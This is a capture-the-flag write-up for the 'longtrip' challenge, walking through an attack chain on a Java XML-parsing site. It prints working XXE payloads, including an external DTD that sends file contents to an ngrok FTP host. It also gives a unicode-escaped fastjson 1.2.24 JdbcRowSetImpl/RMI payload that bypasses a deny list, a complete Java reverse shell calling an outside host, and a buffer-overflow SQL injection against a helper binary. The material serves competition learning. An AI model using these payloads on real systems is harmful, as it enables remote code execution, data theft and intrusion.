---
# System prepended metadata

title: longtrip - Wannagame Chamionship 2025

---



## longtrip

### Solution

![image](https://hackmd.io/_uploads/Sy5Jop7fZl.png)


When access to challenge

![image](https://hackmd.io/_uploads/ryomop7GWx.png)


There is just an error JAVa page so I will do a little fuzzing using dirsearch

![image](https://hackmd.io/_uploads/HkPvsamM-x.png)


Access to /login

![image](https://hackmd.io/_uploads/rJx5jpmMbe.png)


Login with admin:1234 we will go to /parse

![image](https://hackmd.io/_uploads/H10oo6XGWg.png)

In this page, we will see a simple XML parser website, I think there is a XXE injection bug here.

Let's test:

```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
  <!ENTITY file SYSTEM "file:///etc/passwd">
]>
<person>
  <Name>Jameson Junior</Name>
  <age>21</age>
  <school>UIT</school>
  <region>HCM</region>
  <country>&file;</country>
</person>
```

![image](https://hackmd.io/_uploads/BJoXn6XzWl.png)

Okay we can read but just a short text of file, this is difficult to exploit if we don't have full content. Now I try to send the content of file via outbound connection using ftp:// protocol: https://github.com/staaldraad/xxeserv

* Step 1: we run this application

![image](https://hackmd.io/_uploads/rJOahT7MWe.png)

* Step 2: Tunnel the ftp server using ngrok or pinggy.io

`ngrok tcp 2121`

![image](https://hackmd.io/_uploads/Byx8G66mzbg.png)

* Step 3: Host a web server to serve this dtd file

```xml
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://0.tcp.ap.ngrok.io:16713/%d;'>">
```

![image](https://hackmd.io/_uploads/BJ0J10QMWe.png)

* Step 4: Now run this (Note to change your web server URL)

```xml
<?xml version="1.0" ?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "https://test8.threalwinky.id.vn/sp2.dtd">
%asd;
%c;
]>
<country>&rrr;</country>
```

* Step 5: Check 

![image](https://hackmd.io/_uploads/BJJNJRmMZe.png)

Now we can read full content of a file

Try to read `/proc/self/cwd` is app directory

![image](https://hackmd.io/_uploads/HJ4_y0XGZg.png)

Read `/proc/self/cwd/src`

![image](https://hackmd.io/_uploads/rypck0QGWg.png)

There are multiple files but I can only read FilterInput.java, NoteServlet.java. Here are they: 

```java
// FilterInput.java

/package org.example.demo;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.*;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.Enumeration;

@WebFilter("
/note")
public class FilterInput implements Filter {
    private static final String VALID_REGEX = "^[a-zA-Z0-9{}:\u00C0-\u1EF9\"\\s]+$";

    public void init(FilterConfig filterConfig) {
        System.out.println("[*] Filter init");
    }

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)
            throws IOException, ServletException {

        HttpServletRequest request = (HttpServletRequest) servletRequest;
        HttpServletResponse response = (HttpServletResponse) servletResponse;
        HttpSession session = request.getSession(false);

        boolean loggedIn = false;
        if (session != null) {
            loggedIn = (session.getAttribute("username") != null);
        }
        if (!loggedIn){
            if(!servletRequest.getParameterNames().hasMoreElements()) {
                request.setAttribute("errorMessage", "Wrong usrname or password!");
                RequestDispatcher dispatcher = request.getRequestDispatcher("
/login.jsp");
                dispatcher.forward(request, response);
                return;
            }
        }
        else {
            Enumeration<String> enumeration = servletRequest.getParameterNames();
            while (enumeration.hasMoreElements()) {
                String parameterName = enumeration.nextElement();
                String paramValue = servletRequest.getParameter(parameterName);
                
/
                if (paramValue == null || !paramValue.matches(VALID_REGEX))  {
                    if (session != null) {
                        session.invalidate();
                    }
                    request.setAttribute("errorMessage", "Do not challenge my filter. Input data must be only a-zA-Z and not null!!!");
                    RequestDispatcher dispatcher = request.getRequestDispatcher("
 login.jsp");
                    dispatcher.forward(request, response);
                    return;
                }
            }

            filterChain.doFilter(servletRequest, servletResponse);
        }
    }

}
```

```java
//NoteServelet.java

/package org.example.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import io.github.cdimascio.dotenv.Dotenv;
import java.io.*;
import java.util.logging.Logger;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.http.*;
import javax.servlet.annotation.*;

@WebServlet(name = "NoteServlet", urlPatterns = {"/note/*"})
public class NoteServlet extends HttpServlet {
    private String secret;
    private static final Logger logger = Logger.getLogger(NoteServlet.class.getName());
    @Override
    public void init() throws ServletException {
        Dotenv dotenv = Dotenv.configure().directory("
/opt
/tomcat") .load();
        secret = dotenv.get("SECRET");

        if (secret == null) {
            throw new ServletException("SECRET env missing!");
        }
    }

    
/ hey, local first, remoter
    private String[] Denlist = new String[]{"TemplatesImpl", "JdbcRowSetImpl","WrapperConnection", "@type", "ldap", "rmi"};

    public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
        String path = request.getPathInfo();
        if (path == null || path.length() <= 1) {
            request.setAttribute("errorMessage", "Path is empty!");
            request.getRequestDispatcher("
/dashboard.jsp").forward(request, response);
            return;
        }

        String key = path.substring(1);
        if (key.equals(secret)) {
            String content = RequestContentReader.getContent(request);
            for(String Den : this.Denlist) {
                if (content.contains(Den)) {
                    request.setAttribute("errorMessage", "Hacker!!!!");
                    RequestDispatcher dispatcher = request.getRequestDispatcher("
/dashboard.jsp");
                    dispatcher.forward(request, response);
                    return;
                }
            }
            
/ Currently in the build process, temporarily use the feature with note length <10.
            if (content.length() < 20){
                content = "{ note: \""+ content + "\" }";
            }
            try {
                Object object = JSON.parseObject(content, Object.class, Feature.SupportNonPublicField);
                request.setAttribute("notes", object);
                request.getRequestDispatcher("
/dashboard.jsp").forward(request, response);

            } catch (Exception e) {
                System.out.printf("error:" + "" + e.getMessage() + "\n");
                request.setAttribute("errorMessage", "Something wrong because the system is under development!");
                request.getRequestDispatcher("
/dashboard.jsp").forward(request, response);
            }
        } else {
            logger.info("Incoming request path: " + path);
            request.setAttribute("errorMessage", "Wrong secret!");
            request.getRequestDispatcher("
 dashboard.jsp").forward(request, response);
        }
    }
}
```

So after reading the source, we can see an endpoint `/note` which allows only POST method. And it uses fastjson library to convert string to object

Let's check more at `file:///proc/self/cwd/webapps/ROOT/WEB-INF/lib`

![image](https://hackmd.io/_uploads/HJgTgR7zbe.png)

So it uses fastjson-1.2.24, let's check any CVE related to it: 

https://www.cvedetails.com/version/764377/Alibaba-Fastjson-1.2.24.html

So there is a CVE leads to RCE in this library. POC is here: https://github.com/h0cksr/Fastjson--CVE-2017-18349-

but it blocks 

```java
private String[] Denlist = new String[]{"TemplatesImpl", "JdbcRowSetImpl","WrapperConnection", "@type", "ldap", "rmi"};
```

-> just bypass using unicode `r` -> `\u0072`



Now we can use rmi:// protocol to get RCE, but before this we must leak `secret = dotenv.get("SECRET");`

![image](https://hackmd.io/_uploads/ryxwz07fWg.png)

* Step 1:

Run RMI server

`docker run -it -p 9999:9999 -v "$PWD":/app -w /app eclipse-temurin:8-jdk-jammy java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "https://test8.threalwinky.id.vn/#Exploit" 9999`

![image](https://hackmd.io/_uploads/BJM9ECQMZg.png)

* Step 2: Compile this reverse shell source

```java
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class Exploit {
    static {
        try {
            String host = "wolcv-14-161-6-190.a.free.pinggy.link";
            int port = 46249;
            String cmd = "sh";
            try {
                Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
                Socket s = new Socket(host, port);
                InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
                OutputStream po = p.getOutputStream(), so = s.getOutputStream();
                while (!s.isClosed()) {
                    while (pi.available() > 0)
                        so.write(pi.read());
                    while (pe.available() > 0)
                        so.write(pe.read());
                    while (si.available() > 0)
                        po.write(si.read());
                    so.flush();
                    po.flush();
                    Thread.sleep(50);
                    try {
                        p.exitValue();
                        break;
                    } catch (Exception e) {}
                }
                p.destroy();
                s.close();
            } 
            catch (Exception e) {}
        }catch (Exception e) {}
    }
}
```

`javac -source 1.8 -target 1.8 Exploit.java `

![image](https://hackmd.io/_uploads/S1iP70XGbl.png)

* Step 3: Host the Exploit class

![image](https://hackmd.io/_uploads/rkOcXAQf-e.png)

* Step 4: Send this POST request

```
POST /note/0f55ff9906723c001384135a436e4346 HTTP/1.1
Host: challenge.cnsc.com.vn:31261
Content-Length: 300
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://challenge.cnsc.com.vn:31781
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://challenge.cnsc.com.vn:31781/parse
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=31F81611675D8F90485A78EC8CE54A6D
Connection: keep-alive

content={"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","dataSourceName":"\u0072mi://0.tcp.ap.ngrok.io:10239/Exploit","autoCommit":true}
```

And now we get the reverse shell

![image](https://hackmd.io/_uploads/SyMQrRXzZx.png)

Download the connectdb file and use IDA to decompile it

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  const char *v3; // rax
  char v5[128]; // [rsp+10h] [rbp-1A0h] BYREF
  const char *v6; // [rsp+90h] [rbp-120h] BYREF
  __int64 v7; // [rsp+98h] [rbp-118h] BYREF
  char s[260]; // [rsp+A0h] [rbp-110h] BYREF
  int v9; // [rsp+1A4h] [rbp-Ch]
  FILE *stream; // [rsp+1A8h] [rbp-8h]

  if ( argc <= 1 )
  {
    fprintf(stderr, "Please provide a name as an argument: %s <name>\n", *argv);
    exit(1);
  }
  v6 = 0LL;
  word_6014E0 = 53;
  printf("[+] Greeting you: %s\n", argv[1]);
  printf("[+] Initial 'id' value: %s\n", (const char *)&word_6014E0);
  strcpy(data, argv[1]);
  printf("[+] 'id' value after overwrite: %s\n", (const char *)&word_6014E0);
  snprintf(s, 0x100uLL, "SELECT * FROM joke WHERE id < %s", (const char *)&word_6014E0);
  stream = fopen("/etc/db.conf", "r");
  if ( !stream )
  {
    fwrite("Failed to open /etc/db.conf\n", 1uLL, 0x1CuLL, stderr);
    exit(1);
  }
  if ( !fgets(v5, 128, stream) )
  {
    fwrite("Failed to read database path from /etc/db.conf\n", 1uLL, 0x2FuLL, stderr);
    fclose(stream);
    exit(1);
  }
  fclose(stream);
  v5[strcspn(v5, "\n")] = 0;
  v9 = sqlite3_open_v2(v5, &v7, 1LL, 0LL);
  if ( v9 )
  {
    v3 = (const char *)sqlite3_errmsg(v7);
    fprintf(stderr, "Cannot open database: %s\n", v3);
    sqlite3_close(v7);
    exit(1);
  }
  puts("\n--- QUERY RESULTS ---");
  v9 = sqlite3_exec(v7, s, callback, 0LL, &v6);
  if ( v9 )
  {
    fprintf(stderr, "SQL error: %s\n", v6);
    sqlite3_free(v6);
    sqlite3_close(v7);
    exit(1);
  }
  sqlite3_close(v7);
  return 0;
}
```

we can see a buffer overflow bug here can lead to SQL injection

![image](https://hackmd.io/_uploads/ryzxURQfbl.png)

Now we need to leak the flag table name and column

```
./connectdb "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1 union select 1, sql from sqlite_master"
```


![image](https://hackmd.io/_uploads/B1hN8Amf-g.png)

Now capture the flag


```
./connectdb "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1 union select 1, flag_511d29bb058e7fb8b48cfbc0 from flag"
```

![image](https://hackmd.io/_uploads/rJIILAmGWg.png)

```
./connectdb "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1 union select 1, flag_511d29bb058e7fb8b48cfbc0 from flag"
[+] Greeting you: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1 union select 1, flag_511d29bb058e7fb8b48cfbc0 from flag
[+] Initial 'id' value: 5
[+] 'id' value after overwrite: 1 union select 1, flag_511d29bb058e7fb8b48cfbc0 from flag

--- QUERY RESULTS ---
1 W1{1Ong_trlP-t0-5qll_ABcdEFghA32I53ab0b8}

```